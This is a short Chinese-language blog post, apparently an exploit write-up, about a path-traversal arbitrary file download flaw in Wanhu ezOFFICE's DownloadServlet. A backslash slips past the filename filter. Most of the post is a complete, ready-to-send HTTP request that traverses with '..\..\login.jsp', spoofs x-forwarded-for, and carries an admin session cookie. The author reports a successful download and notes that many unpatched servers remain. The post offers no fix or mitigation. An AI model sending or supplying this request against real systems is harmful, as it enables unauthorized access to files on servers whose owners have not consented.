万户ezoffice任意文件下载

漏洞详情

该漏洞2021-6月已经被人提交

漏洞原理

该方法只对路径的”.“和文件名的“/”进行了过滤，但是“/”我们可以通过“\”来绕过，所以还是能任意文件下载，嘎嘎

漏洞利用

发送请求包，在FileName上进行目录穿越

数据包

GET /defaultroot/DownloadServlet?modeType=2&path=html&FileName=..\..\login.jsp&name=123&fiewviewdownload=2&cd=inline&downloadAll=2 HTTP/1.1
Host: ********
Pragma: no-cache
x-forwarded-for: 127.0.0.1
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OASESSIONID=17E5732FD9D4BAF94C5F641948BC3BC2; LocLan=zh_CN; ezofficeDomainAccount=whir; ezofficeUserName=admin; ezofficeUserPortal=; ezofficePortal0=
Connection: close

成功下载了login.jsp

总结

此处没有总结，该漏洞未修复资产目前还挺多的

稻草人博客